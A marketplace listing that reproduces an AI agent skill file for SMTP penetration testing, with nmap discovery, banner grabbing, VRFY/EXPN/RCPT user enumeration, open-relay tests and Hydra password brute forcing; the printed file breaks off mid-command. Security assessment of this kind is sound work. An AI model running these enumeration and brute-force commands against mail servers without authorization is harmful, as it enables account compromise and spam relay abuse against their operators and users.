agentsclimarketplace

Smtp penetration testing

Skill ranbot-ai/awesome-skills/skills/smtp-penetration-testing

Awesome Claude Skills, Tools for Customizing Claude AI workflows

Install
npx -y skills add ranbot-ai/awesome-skills --skill smtp-penetration-testing

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

2 things to look at

  • no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.
  • 6 stars6 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email cre...

SKILL.md

5.3 KB, ~1.4k tokens by cl100k_base, as published. Nobody here has run it

SMTP Penetration Testing

Purpose

Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.

Prerequisites

Required Tools

# Nmap with SMTP scripts
sudo apt-get install nmap

# Netcat
sudo apt-get install netcat

# Hydra for brute force
sudo apt-get install hydra

# SMTP user enumeration tool
sudo apt-get install smtp-user-enum

# Metasploit Framework
msfconsole

Required Knowledge

  • SMTP protocol fundamentals
  • Email architecture (MTA, MDA, MUA)
  • DNS and MX records
  • Network protocols

Required Access

  • Target SMTP server IP/hostname
  • Written authorization for testing
  • Wordlists for enumeration and brute force

Outputs and Deliverables

  1. SMTP Security Assessment Report - Comprehensive vulnerability findings
  2. User Enumeration Results - Valid email addresses discovered
  3. Relay Test Results - Open relay status and exploitation potential
  4. Remediation Recommendations - Security hardening guidance

Core Workflow

Phase 1: SMTP Architecture Understanding

Components: MTA (transfer) → MDA (delivery) → MUA (client)

Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)

Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA

Phase 2: SMTP Service Discovery

Identify SMTP servers and versions:

# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP

# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP

# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP

# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com

Phase 3: Banner Grabbing

Retrieve SMTP server information:

# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix

# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP

# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info

# Manual SMTP commands
EHLO test
# Response reveals supported extensions

Parse banner information:

Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)

Phase 4: SMTP Command Enumeration

Test available SMTP commands:

# Connect and test commands
nc TARGET_IP 25

# Initial greeting
EHLO attacker.com

# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN

Key commands to test:

# VRFY - Verify user exists
VRFY admin
250 2.1.5 [email protected]

# EXPN - Expand mailing list
EXPN staff
250 2.1.5 [email protected]
250 2.1.5 [email protected]

# RCPT TO - Recipient verification
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# 250 OK = user exists
# 550 = user doesn't exist

Phase 5: User Enumeration

Enumerate valid email addresses:

# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP

# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com

Using Metasploit:

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run

Using Nmap:

# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP

# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP

Phase 6: Open Relay Testing

Test for unauthorized email relay:

# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP

# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Relay Test
This is a test.
.
QUIT

# If accepted (250 OK), server is open relay

Using Metasploit:

use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run

Test variations:

# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<[email protected]>

RCPT TO:<[email protected]>
RCPT TO:<"[email protected]">
RCPT TO:<test%[email protected]>

Phase 7: Brute Force Authentication

Test for weak SMTP credentials:

# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP

# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp

# Multiple users
hydra -L users.tx

What ships with it

Read from the repository

Just SKILL.md. No reference files, no scripts.

Gives 0 of the 12 instructions most test skills give in ~1.4k tokens

Counted across 964 of the 1,571 authors here whose files we hold, read 2026-08-07

  • Close the browser when donein 55 of 964, across 12 files
  • Wait for network idle statein 51 of 964, across 6 files
  • Launch Chromium in headless modein 49 of 964, across 6 files
  • Use descriptive selectors for elementsin 49 of 964, across 6 files
  • Run provided scripts with help flag firstin 49 of 964, across 6 files
  • Add appropriate explicit waitsin 48 of 964, across 5 files
  • Use bundled scripts as black boxesin 46 of 964, across 3 files
  • Do not read script source codein 46 of 964, across 3 files
  • Use sync playwright for scriptsin 46 of 964, across 3 files
  • Inspect dom before executing actionsin 46 of 964, across 3 files
  • Run the full test suitein 37 of 964
  • Write the failing test firstin 29 of 964, across 23 files

Said here and by no other author read

  • discover SMTP services and versions
  • retrieve and parse SMTP banners
  • test available SMTP commands
  • enumerate valid users via VRFY, EXPN, and RCPT
  • test for unauthorized open mail relays
  • brute force authentication using wordlists

Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once. Length counted with cl100k_base; the agent that loads this file may tokenize it differently.

Keep looking

Skills are one crate of 327,069. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.